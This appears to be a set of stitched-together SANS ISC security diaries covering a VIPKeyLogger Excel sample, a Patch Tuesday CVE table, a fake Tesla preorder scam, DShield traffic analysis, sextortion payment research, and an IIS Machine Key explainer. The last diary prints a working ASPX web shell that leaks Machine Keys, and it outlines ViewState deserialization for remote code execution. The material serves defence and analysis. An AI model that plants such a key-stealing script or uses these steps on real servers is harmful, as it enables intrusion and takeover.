000000C0: EB 81 C6 89 AD 83 5E EB  A5 EB 02 69 66 EB 0B 83  ......^....if...
000000D0: C7 04 E9 5B FF FF FF EB  C6 90 E9 55 FF FF FF 39  ...[.......U...9
000000E0: DF 72 CD E9 22 01 00 00  16 7B 36 51 A4 62 B2 22  .r.."....{6Q.b."
000000F0: 29 DA DC A4 BC BA 09 A1  FE 8D B0 B3 51 CE AE 8A  )...........Q...

1I: s 0 u 0
2I: sl 0 ul 0 sb 0 ub 0
4I: sl 0 ul 0 sb 0 ub 0
4F: l 0.000000 b 0.000000
4N: b 0.0.0.0 l 0.0.0.0
4E: l 1970/01/01 00:00:00 b 1970/01/01 00:00:00
8I: sl 0 ul 0 sb 0 ub 0
8T: ul 1601/01/01 00:00:00.0000000 ub 1601/01/01 00:00:00.0000000
8F: l 0.000000 b 0.000000
16G: b 00000000-0000-0000-0029-C34400000000 m {00000000-0000-0000-0029-C34400000000}

Let's open this file in Excel. That's why I keep a very old (and vulnerable) Microsoft Office Suite in my CAPE sandbox:

And indeed:

The sample downloaded from hxxp://213[.]209[.]150[.]18/SoNZ984ijTf8DPr.exe is a VIPKeyLogger with the following config:

{
    "rule": "VIPKeylogger",
    "tags": [
        "keylogger",
        "stealer"
    ],
    "family": "vipkeylogger",
    "credentials": [
        {
            "host": "hosting2[.]ro[.]hostsailor[.]com",
            "port": 587,
            "email_to": "log@wxtp.store",
            "password": "<redacted>",
            "protocol": "smtp",
            "username": "logs@wxtp.store"
        }
    ]
}

The PE file (SHA256:19dac0de92478f91420db6588d40ec9a5115b4a8777cf7ba9dd4ae35059a706d) is a VT score of 49/72[4].

[1] https://support.microsoft.com/en-us/office/equation-editor-6eac7d71-3c74-437b-80d3-c7dea24fdf3f
[2] https://www.virustotal.com/gui/file/4fe60a82350a24cc0bfeb1a9df86a751cec9b7307035f90b0a08959a16a1fc7c
[3] https://learn.microsoft.com/en-us/microsoft-365-apps/security/internet-macros-blocked
[4] https://www.virustotal.com/gui/file/19dac0de92478f91420db6588d40ec9a5115b4a8777cf7ba9dd4ae35059a706d

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

This month's Microsoft patch update addresses a total of 111 vulnerabilities, with 17 classified as critical. Among these, one vulnerability was disclosed prior to the patch release, marking it as a zero-day. While none of the vulnerabilities have been exploited in the wild, the critical ones pose significant risks, including remote code execution and elevation of privilege. Users are strongly advised to apply the updates promptly to safeguard their systems against potential threats.

Windows Kerberos Elevation of Privilege Vulnerability (CVE-2025-53779) is a disclosed zero-day vulnerability with a CVSS score of 7.2, rated as Moderate in severity. Although it has not been exploited in the wild, it poses a significant risk as it allows an attacker to gain domain administrator privileges. To exploit this vulnerability, an attacker would need high privileges, specifically access to certain attributes of the dMSA, such as msds-groupMSAMembership and msds-ManagedAccountPrecededByLink. These attributes enable the attacker to utilize the dMSA and specify a user that the dMSA can act on behalf of, potentially compromising the security of the domain.

Windows Graphics Component Remote Code Execution Vulnerability (CVE-2025-50165) is a critical vulnerability with a CVSS score of 9.8, which has not been exploited in the wild nor disclosed publicly as a zero-day. This vulnerability allows for remote code execution, posing a significant threat due to its ability to be exploited without any user interaction. The attack vector is network-based, and the vulnerability arises from an uninitialized function pointer being called when decoding a JPEG image, which can be embedded in Office and third-party documents or files. Successful exploitation could enable an attacker to execute arbitrary code remotely, highlighting the critical need for immediate attention and remediation to prevent potential exploitation.

GDI+ Remote Code Execution Vulnerability (CVE-2025-53766) is a critical vulnerability with a CVSS score of 9.8, which has not been exploited in the wild nor disclosed publicly as a zero-day. This vulnerability allows for remote code execution on web services parsing documents with specially crafted metafiles, without requiring any user interaction or privileges from the attacker. The attack vector is network-based, meaning an attacker could exploit this vulnerability by uploading such documents to web services, potentially leading to significant security breaches. The Preview Pane is not considered an attack vector for this vulnerability, and mitigation strategies should focus on securing web services against unauthorized document uploads.

Azure Portal Elevation of Privilege Vulnerability (CVE-2025-53792) is a critical vulnerability with a CVSS score of 9.1, which has not been exploited in the wild nor disclosed publicly, thus not qualifying as a zero-day. This vulnerability allows for elevation of privilege, potentially enabling unauthorized access to sensitive resources within the Azure Portal. Despite its critical severity, Microsoft has already fully mitigated this vulnerability, and no further action is required from users of the service. The CVE was issued to provide transparency regarding the vulnerability and its resolution, aligning with Microsoft's commitment to greater transparency in cloud service security.

Windows NTLM Elevation of Privilege Vulnerability (CVE-2025-53778) is a critical vulnerability, identified as CVE-2025-53778, has not been exploited in the wild nor disclosed publicly as a zero-day. It carries a CVSS score of 8.8, indicating its high severity. The vulnerability allows an attacker to elevate their privileges to SYSTEM level, posing a significant risk to affected systems. Although currently not exploited, organizations are advised to implement mitigation strategies to prevent potential exploitation and ensure the security of their systems.

Microsoft Office Remote Code Execution Vulnerability (CVE-2025-53731) is a critical vulnerability with a CVSS score of 8.4, which has neither been exploited in the wild nor disclosed as a zero-day. This vulnerability allows for remote code execution, meaning an attacker can execute arbitrary code on the affected system, although the attack must be initiated locally. The Preview Pane in Microsoft Office serves as an attack vector, enabling the execution of malicious code when a user previews a compromised document. Despite the remote nature of the attacker's location, the exploit requires local execution, posing significant security risks if not addressed. Users are advised to apply necessary patches and updates to mitigate potential threats.

Microsoft Word Remote Code Execution Vulnerability (CVE-2025-53733) is a critical vulnerability with a CVSS score of 8.4, which has not been exploited in the wild nor disclosed publicly, thus not qualifying as a zero-day. This vulnerability allows for remote code execution, although the attack vector is local, meaning the attacker or victim must execute code from the local machine. The Preview Pane in Microsoft Word serves as an attack vector for this vulnerability, potentially enabling arbitrary code execution. Users are advised to apply all relevant updates for their software to mitigate this risk, as multiple update packages may be necessary to fully address the vulnerability.

Microsoft Office Remote Code Execution Vulnerability (CVE-2025-53740) is a critical vulnerability that has not been exploited in the wild nor disclosed publicly, making it a potential zero-day threat. With a CVSS score of 8.4, this vulnerability allows for remote code execution, posing a significant risk to systems running Microsoft Office. Despite the attack vector being local, the term "Remote" refers to the attacker's location, indicating that the exploit can be initiated by executing code on the local machine. The Preview Pane in Microsoft Office is identified as a potential attack vector, which could be leveraged by attackers to execute arbitrary code. Users are advised to remain vigilant and apply necessary security measures to mitigate potential risks associated with this vulnerability.

Microsoft Word Remote Code Execution Vulnerability (CVE-2025-53784) is a critical vulnerability with a CVSS score of 8.4, which has not been exploited in the wild nor disclosed publicly, thus not qualifying as a zero-day. This vulnerability allows for remote code execution, meaning an attacker can execute arbitrary code on the affected system, although the attack must be initiated locally. The vulnerability is particularly concerning because it can be exploited through the Preview Pane, making it a potential vector for attacks. Despite its critical nature, no active exploitation has been reported, and mitigation strategies should focus on securing local execution environments and monitoring for suspicious activity.

Microsoft 365 Copilot BizChat Information Disclosure Vulnerability (CVE-2025-53787) is a critical vulnerability with a CVSS score of 8.2, which has not been exploited in the wild nor disclosed publicly, thus not qualifying as a zero-day. This vulnerability could potentially lead to information disclosure, compromising sensitive data within the Microsoft 365 Copilot BizChat service. Despite its severity, Microsoft has already fully mitigated the issue, and there are no further actions required from users. The CVE was published to enhance transparency regarding cloud service vulnerabilities, ensuring users are informed about past security issues and their resolutions.

This summary of Microsoft's monthly updates highlights critical vulnerabilities, emphasizing the need for immediate attention to certain threats. Notably, the Windows Graphics Component Remote Code Execution Vulnerability (CVE-2025-50165) and GDI+ Remote Code Execution Vulnerability (CVE-2025-53766) both pose significant risks due to their potential for remote exploitation without user interaction. Users should prioritize patching these vulnerabilities to prevent unauthorized code execution. Additionally, the Windows Kerberos Elevation of Privilege Vulnerability (CVE-2025-53779), a disclosed zero-day, requires high privileges to exploit but could lead to domain administrator access, necessitating careful monitoring and mitigation. While some vulnerabilities, like the Azure Portal Elevation of Privilege, have been fully mitigated by Microsoft, others demand user action to ensure system security.

 

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
Azure OpenAI Elevation of Privilege Vulnerability
%%cve:2025-53767%%	No	No	-	-	Critical	10.0	8.7
Azure Portal Elevation of Privilege Vulnerability
%%cve:2025-53792%%	No	No	-	-	Critical	9.1	7.9
Azure Stack Hub Information Disclosure Vulnerability
%%cve:2025-53765%%	No	No	-	-	Important	4.4	3.9
%%cve:2025-53793%%	No	No	-	-	Critical	7.5	6.5
Azure Virtual Machines Information Disclosure Vulnerability
%%cve:2025-53781%%	No	No	-	-	Critical	7.7	6.7
Azure Virtual Machines Spoofing Vulnerability
%%cve:2025-49707%%	No	No	-	-	Critical	7.9	6.9
Desktop Windows Manager Elevation of Privilege Vulnerability
%%cve:2025-50153%%	No	No	-	-	Important	7.8	6.8
Desktop Windows Manager Remote Code Execution Vulnerability
%%cve:2025-53152%%	No	No	-	-	Important	7.8	6.8
DirectX Graphics Kernel Denial of Service Vulnerability
%%cve:2025-50172%%	No	No	-	-	Important	6.5	5.7
DirectX Graphics Kernel Elevation of Privilege Vulnerability
%%cve:2025-53135%%	No	No	-	-	Important	7.0	6.1
DirectX Graphics Kernel Remote Code Execution Vulnerability
%%cve:2025-50176%%	No	No	-	-	Critical	7.8	6.8
GDI+ Remote Code Execution Vulnerability
%%cve:2025-53766%%	No	No	-	-	Critical	9.8	8.5
GitHub Copilot and Visual Studio Remote Code Execution Vulnerability
%%cve:2025-53773%%	No	No	-	-	Important	7.8	6.8
Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability
%%cve:2025-53149%%	No	No	-	-	Important	7.8	6.8
Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability
%%cve:2025-53716%%	No	No	-	-	Important	6.5	5.7
Microsoft 365 Copilot BizChat Information Disclosure Vulnerability
%%cve:2025-53774%%	No	No	-	-	Critical	6.5	5.7
%%cve:2025-53787%%	No	No	-	-	Critical	8.2	7.1
Microsoft Azure File Sync Elevation of Privilege Vulnerability
%%cve:2025-53729%%	No	No	-	-	Important	7.8	6.8
Microsoft Brokering File System Elevation of Privilege Vulnerability
%%cve:2025-53142%%	No	No	-	-	Important	7.0	6.1
Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability
%%cve:2025-53728%%	No	No	-	-	Important	6.5	5.7
Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability
%%cve:2025-49745%%	No	No	-	-	Important	5.4	4.7
Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability
%%cve:2025-49755%%	No	No	-	-	Low	4.3	3.8
%%cve:2025-49736%%	No	No	-	-	Moderate	4.3	3.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2025-53741%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53759%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53735%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53737%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53739%%	No	No	-	-	Important	7.8	6.8
Microsoft Exchange Server Hybrid Deployment Elevation of Privilege Vulnerability
%%cve:2025-53786%%	No	No	-	-	Important	8.0	7.0
Microsoft Exchange Server Information Disclosure Vulnerability
%%cve:2025-33051%%	No	No	-	-	Important	7.5	6.5
Microsoft Exchange Server Spoofing Vulnerability
%%cve:2025-25006%%	No	No	-	-	Important	5.3	4.6
%%cve:2025-25007%%	No	No	-	-	Important	5.3	4.6
Microsoft Exchange Server Tampering Vulnerability
%%cve:2025-25005%%	No	No	-	-	Important	6.5	5.7
Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability
%%cve:2025-50177%%	No	No	-	-	Critical	8.1	7.1
%%cve:2025-53143%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-53144%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-53145%%	No	No	-	-	Important	8.8	7.7
Microsoft Office Remote Code Execution Vulnerability
%%cve:2025-53731%%	No	No	-	-	Critical	8.4	7.3
%%cve:2025-53732%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53740%%	No	No	-	-	Critical	8.4	7.3
Microsoft Office Visio Remote Code Execution Vulnerability
%%cve:2025-53730%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53734%%	No	No	-	-	Important	7.8	6.8
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2025-53761%%	No	No	-	-	Important	7.8	6.8
Microsoft SQL Server Elevation of Privilege Vulnerability
%%cve:2025-49758%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-53727%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-24999%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-49759%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-47954%%	No	No	-	-	Important	8.8	7.7
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2025-53760%%	No	No	-	-	Important	7.1	6.2
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2025-49712%%	No	No	-	-	Important	8.8	7.7
Microsoft Teams Remote Code Execution Vulnerability
%%cve:2025-53783%%	No	No	-	-	Important	7.5	6.5
Microsoft Windows File Explorer Spoofing Vulnerability
%%cve:2025-50154%%	No	No	-	-	Important	7.5	6.5
Microsoft Word Information Disclosure Vulnerability
%%cve:2025-53736%%	No	No	-	-	Important	6.8	5.9
Microsoft Word Remote Code Execution Vulnerability
%%cve:2025-53733%%	No	No	-	-	Critical	8.4	7.3
%%cve:2025-53738%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53784%%	No	No	-	-	Critical	8.4	7.3
NT OS Kernel Information Disclosure Vulnerability
%%cve:2025-53136%%	No	No	-	-	Important	5.5	4.8
Remote Access Point-to-Point Protocol (PPP) EAP-TLS Elevation of Privilege Vulnerability
%%cve:2025-50159%%	No	No	-	-	Important	7.3	6.4
Remote Desktop Spoofing Vulnerability
%%cve:2025-50171%%	No	No	-	-	Important	9.1	7.9
Web Deploy Remote Code Execution Vulnerability
%%cve:2025-53772%%	No	No	-	-	Important	8.8	7.7
Win32k Elevation of Privilege Vulnerability
%%cve:2025-50161%%	No	No	-	-	Important	7.3	6.4
%%cve:2025-50168%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53132%%	No	No	-	-	Important	8.0	7.0
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2025-49762%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-53134%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-53137%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-53141%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53147%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-53154%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53718%%	No	No	-	-	Important	7.0	6.1
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2025-50170%%	No	No	-	-	Important	7.8	6.8
Windows Connected Devices Platform Service Elevation of Privilege Vulnerability
%%cve:2025-53721%%	No	No	-	-	Important	7.0	6.1
Windows Distributed Transaction Coordinator (MSDTC) Information Disclosure Vulnerability
%%cve:2025-50166%%	No	No	-	-	Important	6.5	5.7
Windows Graphics Component Elevation of Privilege Vulnerability
%%cve:2025-49743%%	No	No	-	-	Important	6.7	5.8
Windows Graphics Component Remote Code Execution Vulnerability
%%cve:2025-50165%%	No	No	-	-	Critical	9.8	8.5
Windows Hyper-V Denial of Service Vulnerability
%%cve:2025-49751%%	No	No	-	-	Important	6.8	5.9
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2025-50167%%	No	No	-	-	Important	7.0	6.1
%%cve:2025-53155%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53723%%	No	No	-	-	Important	7.8	6.8
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2025-48807%%	No	No	-	-	Critical	7.5	6.5
Windows Installer Elevation of Privilege Vulnerability
%%cve:2025-50173%%	No	No	-	-	Important	7.8	6.8
Windows Kerberos Elevation of Privilege Vulnerability
%%cve:2025-53779%%	Yes	No	-	-	Moderate	7.2	6.7
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2025-49761%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53151%%	No	No	-	-	Important	7.8	6.8
Windows Kernel Transaction Manager Elevation of Privilege Vulnerability
%%cve:2025-53140%%	No	No	-	-	Important	7.0	6.1
Windows Media Remote Code Execution Vulnerability
%%cve:2025-53131%%	No	No	-	-	Important	8.8	7.7
Windows NTFS Information Disclosure Vulnerability
%%cve:2025-50158%%	No	No	-	-	Important	7.0	6.3
Windows NTLM Elevation of Privilege Vulnerability
%%cve:2025-53778%%	No	No	-	-	Critical	8.8	7.7
Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability
%%cve:2025-53133%%	No	No	-	-	Important	7.8	6.8
Windows Push Notifications Apps Elevation of Privilege Vulnerability
%%cve:2025-53724%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53725%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-53726%%	No	No	-	-	Important	7.8	6.8
%%cve:2025-50155%%	No	No	-	-	Important	7.8	6.8
Windows Remote Desktop ServicesDenial of Service Vulnerability
%%cve:2025-53722%%	No	No	-	-	Important	7.5	6.5
Windows Routing and Remote Access Service (RRAS) Information Disclosure Vulnerability
%%cve:2025-50156%%	No	No	-	-	Important	5.7	5.0
%%cve:2025-53138%%	No	No	-	-	Important	5.7	5.0
%%cve:2025-53148%%	No	No	-	-	Important	5.7	5.0
%%cve:2025-53153%%	No	No	-	-	Important	5.7	5.0
%%cve:2025-53719%%	No	No	-	-	Important	5.7	5.0
%%cve:2025-50157%%	No	No	-	-	Important	5.7	5.0
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2025-49757%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-50160%%	No	No	-	-	Important	8.0	7.0
%%cve:2025-50162%%	No	No	-	-	Important	8.0	7.0
%%cve:2025-50163%%	No	No	-	-	Important	8.8	7.7
%%cve:2025-50164%%	No	No	-	-	Important	8.0	7.0
%%cve:2025-53720%%	No	No	-	-	Important	8.0	7.0
Windows SMB Remote Code Execution Vulnerability
%%cve:2025-50169%%	No	No	-	-	Important	7.5	6.5
Windows Security App Spoofing Vulnerability
%%cve:2025-53769%%	No	No	-	-	Important	5.5	4.8
Windows StateRepository API Server file Elevation of Privilege Vulnerability
%%cve:2025-53789%%	No	No	-	-	Important	7.8	6.8
Windows Storage Port Driver Information Disclosure Vulnerability
%%cve:2025-53156%%	No	No	-	-	Important	5.5	4.8
Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability
%%cve:2025-53788%%	No	No	-	-	Important	7.0	6.1

--
Renato Marinho
LinkedIn|Twitter

In recent media events, Tesla has demoed progressively more sophisticated versions of its Optimus robots. The sales pitch is pretty simple: "Current AI" is fun, but what we really need is not something to create more funny kitten pictures. We need AI to load and empty dishwashers, fold laundry, and mow lawns. But the robot has not been for sale yet, and there is no firm release date.

In the past, Tesla has accepted preorders for future products, asking for a deposit, which in some cases was even refundable. But aside from an April Fool's posting announcing such a presale, as far as I can tell, no presale has been offered by Tesla.

However, if you search for "Optimus Tesla preorder" and other similar terms, sites claiming to offer Optimus preorders will be advertised. 

These are sponsored listings. The official Tesla site (without the preorder option) shows below these fake links.

We have often seen sponsored listings like this used to advertise malware. But in this case, I suspect, the goal is simply to steal money from people willing to pay for preorders. The interesting twist is that the theft may remain unnoticed until the customer expects delivery, which may be months or years from now.

So far, I have seen these ads lead to three different websites:

• offers-tesla.com (currently active)
• exclusive-tesla.com (now offline)
• prelaunch-tesla.com (now offline)

Other suspect domains:

• private-tesla.com (unreachable)
• corp-tesla.com (redirects to legitimate tesla.com site)
• www-tesla.com (unreachable)
• hyper-tesla.com (unreachable)
• auth.cp-tesla.com (used for account setup by fake site)

The sites display a complete copy of a slightly older design of the Tesla.com website. As far as I can tell, the design does not include a login page. Standard phishing does not appear to be the goal here. Not having a login page may make it easier to hide that no orders are being placed. Customers will not be able to use the fake site to check their order status.

It asks for a $250 non-refundable deposit, which aligns with what Tesla asked for in prior preorder events.

I tried to place an order with a test credit card number, and it was accepted, showing that the credit card was not charged (yet?). Next, I was directed to auth.cp-tesla.com to set up an account. I never received the e-mail confirmation, so I am not sure if my spam filters dropped it or if it is supposed to fail. The original Tesla site uses "auth.tesla.com" for authentication.

Setting up credit card processing for a fake site is likely too complicated, and I assume the site just collects the payment card data to later use the cards on other sites for fraudulent orders or just to resell the payment card data (are there still "Carder" forums? Have not looked at that in a while). So far, the fake sites have only been available for a few days before being shut down. I assume that Tesla monitors these sites and sends takedown requests as they find them.

Preorders are accepted not only for Optimus robots but also for other Tesla products. Interestingly, the data is sent to different sites, not just to the original site. One URL used is https://caribview.info/tesla/. There are a few open directory listings on offers-tesla.com (for example,/api and /js). File dates are from March and May 2025, which is likely around the time the Tesla site was copied. The fake site is hosted behind Cloudflare.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Social Media Links: https://jbu.me

[This is a Guest Diary by Duncan Woosley, an ISC intern as part of the SANS.edu BACS program]

During the last three months I've had a DShield sensor online and collecting data from a deployment in AWS. This week I did some statistical analysis of the last three months of data and found surprising result. Of all the locations that scanned and attacked the DShield sensor, one location was a clear winner in terms of volume of traffic, accounting for over 65% of the total traffic sent to the sensor. To my surprise, that location was Panama!

Total DShield Sensor Traffic per Location

The top 10 locations were close to inline with common expectations, however, the traffic from Panama was greater than the total traffic from all the remaining locations combined!

Digging into the source of this anomaly, I filtered for traffic by day and found that there were massive spikes on just a few days in the last three months that accounted for most of the DShield sensor's captured volume.

Largest Single Days by volume from April 7th to July 7th

Each spike was found to be caused by traffic from a single IP each day, but the IP responsible for each spike was different. However, six of the top ten most active IPs were all from a single /24 subnet! The subnet 141.98.80.0/24 was the cause of 59.4% of total logs collected by the sensor. Moreover, nine of the top 10 IPs were from the same internet service provider (ISP) named "NForce Entertainment B.V."

Autonomous System Numbers (ASN) 43350 accounted for 71.6% of the total sensor logs! This ASN belonging to NForce Entertainment but NForce Entertainment appears to often lease out its IP space to other VPN and proxy providers like the Panama based Flyservers S.A. Flyservers is categorized as a "potentially very high fraud risk ISP" by Scamalytics and is likely the source of this activity.

Top ASNs by Total Traffic

Further research into this ISP found that the NForce Entertainment IP activity was often associated with phishing, malware, and scanning. As a Dutch ISP, they operate without strict regulatory oversight or pressure from their host nation to revoke threat actors’ use of their services.

Recommendations

Unfortunately, the solution for network defenders isn't as simple as blocking all traffic from NForce Entertainment. If your organization is in a position where no NForce Entertainment traffic is required for business, this may be an option, but the majority of organizations don’t allow sweeping IP blocking. Instead, I would recommend blocking only sensitive services and HTTP(S) endpoints that allow for logins. The following actions are recommended.

•    Flagging traffic from NForce Entertainment and particularly from ASN 43350.
•    Block access to Remote Desktop Protocol from the internet.
•    Monitor for SSH activity from ASN 43350 and configured SSH to use key based authentication.
•    Implement a Web Application Firewall (WAF) for all web applications and monitor activity originating from any sources for suspicious queries.
•    Create a WAF alert threshold for high traffic originating from a single source.

[1] https://www.arin.net/resources/guide/asn/
[2] https://scamalytics.com
[3] https://owasp.org/www-community/Web_Application_Firewall
[4] https://www.sans.edu/cyber-security-programs/bachelors-degree/

NOTE: ChatGTP was used for Spelling and grammar checks only
-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Sextortion e-mails have been with us for quite a while, and these days, most security professionals tend to think of them more in terms of an “e-mail background noise” rather than as if they posed any serious threat. Given that their existence is reasonably well-known even among general public, this viewpoint would seem to be justified… But are sextortion messages really irrelevant as a threat at this point, and can we therefore safely omit this topic during security awareness trainings?

I thought that it might be worthwhile to try and find out, so I decided to go over sextortion messages that were delivered to my various spam traps and e-mail accounts during the past 12 months and see whether the cryptocurrency addresses mentioned in them actually received any payments.

In total, I collected 21 different e-mail messages that asked for payment to be sent to 15 distinct cryptocurrency addresses (13 of these were Bitcoin addresses and 2 were Litecoin addresses). For completeness’s sake, it should be noted that while most of the addresses were only seen in e-mails delivered during a single day, this wasn’t always the case, as one of the addresses was observed in messages sent out 32 days apart.

Admittedly, 15 addresses represent a rather small sample size, but it proved to be more than sufficient to give us the desired information about the continued effectiveness of sextortion…

In the sextortion messages, their senders were asking for payments of between $750 and $1,550, with average and median requested amounts being $1,203 and $1,250, respectively. While 6 of the 15 identified addresses didn’t receive any payments at all, the remaining 9 did – in total, incoming transactions to these addresses amounted to between $945 and $10,715, with average and median total amounts received being $1,836 and $1,028, respectively.

Although not all incoming payments to the addresses were necessarily connected  solely to sextortion, it seems highly probable that at least most of them were… Which suggests that even in 2025, sextortion is still a relevant threat, and a topic that warrants attention in security awareness programs.

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

About 10 days ago exploits for Microsoft SharePoint (CVE-2025-53770, CVE-2025-53771) started being publicly abused – we wrote about that at here and here .

The original SharePoint vulnerability is a deserialization vulnerability that allowed an attacker to execute arbitrary commands – while these could be literally anything, majority of exploits that we analyzed resulted in attackers dropping an ASPX file that just revealed the IIS Machine Key to them. This prompted me into diving a bit deeper into how this can be abused.

What are IIS Machine Keys?

A Machine Key in IIS and ASP.NET is a configuration setting used to ensure the security and integrity of data exchanged between the server and clients.

Basically, it is responsible for validating and encrypting sensitive data such as VIEWSTATE, cookies, and session state, protecting them from tampering or unauthorized access. An IIS administrator can define specific Machine Key settings – there are many possible ways to configure all of this, but for this diary we will look into VIEWSTATE protection.

VIEWSTATE is a mechanism used in ASP.NET Web Forms to persist the state of controls and page data between postbacks (i.e., between user actions that send the page back to the server). It allows a developer to easily store values of various controls after a form has been submitted. VIEWSTATE is always used by an IIS APS.NET application.

Since VIEWSTATE can hold sensitive information, it should be appropriately protected. And this is where Machine Keys come into the game – they are used by IIS to prevent tampering of VIEWSTATE and (optionally) encrypt its contents.

By default, IIS (even the very latest version on Windows server 2025) will enable VIEWSTATE MAC (Message Authentication Code) validation but will leave encryption on “Auto” which means that it is not used, as shown in the figure below:

This is not too big of a problem, unless a developer decides to store something confidential in VIEWSTATE.

Machine Key, as you can probably guess by now, is used to perform validation – again, by default SHA1 is used. Several other algorithms are supported, with HMACSHA256 being the second most commonly used one.

Machine Key handling

Since Machine Key is used to validate VIEWSTATE integrity, it is obviously a very important security element. If an attacker gets Machine Key of a server, they can modify VIEWSTATE (and cookies) to arbitrary values and calculate proper MAC which could allow them to perform all sorts of abuse – even achieve remote code execution, as we will demonstrate later.

So, how does one handle this? The whole setup can get a bit complex depending under which account IIS is running, but in most common setups, one of the following two approaches is used:

• Machine Key is automatically generated by IIS. This is the default setup (one you can see in the image above) and in this case Machine Key is stored in Registry.
• Machine Key is generated by an administrator and stored in the web.config file. This is actually mandatory if you have a farm of servers behind a load balancer that need to be able to share sessions so such a setup is quite common!

Stealing a Machine Key

An attacker’s ultimate prize is to steal a Machine Key used by the target IIS server. So, how can they achieve that?

If the Machine Key is stored in a web.config file, in majority of cases it will be stored there in plain text! While it’s possible to encrypt the config section, this is very rarely done. In other words, an attacker that can fetch the web.config file can basically pwn the whole server!
This can be done, for example, through LFI (Local File Inclusion) or XXE (XML External Entities) vulnerabilities that allow the attacker to fetch contents of files.

If the Machine Key is automatically generated, it is stored in Registry, which means that the attacker needs code execution on the server to fetch this, but one important thing should be stressed here: there is nothing that can be done to prevent them from reading the Machine Key, provided they get code execution, even through ASPX files!

Back to our SharePoint story – once the original attackers exploited a vulnerable SharePoint server, they uploaded the following ASPX file:

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>

What does this script do? It will try to read the web.config file and will display both validation and encryption keys, together with used mode. If a Machine Key was stored in web.config, it would be leaked to an attacker, as shown in the image below:

With Machine Key available, the attacker can now achieve RCE on the affected server, due to way deserialization of VIEWSTATE works (and this is a feature!) – more about that further below, but let’s see the other case, when Machine Key is automatically generated and not stored in web.config:

Oh! No luck for the attacker, this script was not able to fetch Machine Key. Phew, all good, we do not have to do anything … or do we? Remember that I wrote above that automatically generated Machine Keys are stored in Registry. Is there anything preventing the attacker to drop a bit better APSX file that can read Registry?

Unfortunately NOT, as Soroush Dalili wrote in their fantastic blog here - one can simply read the key, no matter where it is stored. Soroush published a small ASPX file that goes through all potential locations of a Machine Key.

Clearly SharePoint attackers either did not care about other locations (and were happy with web.config ones), or did not know about this, but if you use Soroush’s script, you can fetch Machine Key even when it’s automatically generated, as shown for the same application I am using as proof of concept below:

Bottom line here is the following: if anyone gets any code execution on an IIS server, you absolutely need to regenerate the server’s Machine Key. Windows will not do this automatically for you, and this key persists through reboots!

Remote Code Execution

So what can one do with Machine Key now?

While we can modify values in VIEWSTATE (it is a bit difficult to read it as it’s serialized, but not impossible, of course), one can also use Alvaro Munoz’s fantastic ysoserial.net, which has builtin support for generating VIEWSTATE objects.

Now that we have a valid Machine Key, ysoserial.net allows us to create an object which, upon deserialization on the server side, will execute code. Since MAC will be valid (and even encrypted, if needed), IIS will happily try to deserialize it with the LosFormatter class which will ultimately allow for Remote Code Execution through deserialization as there are known gadgets that can be used here.

There are two key points here:

1. There is nothing an administrator can do to prevent this if an attacker has a valid Machine Key
2. A malicious VIEWSTATE parameter can be used with *any* ASPX script on the server, it does not need to be the originally vulnerable one. There are some caveats on how to produce a valid VIEWSTATE parameter based on application path, but there are many other resources that explain how to do this.

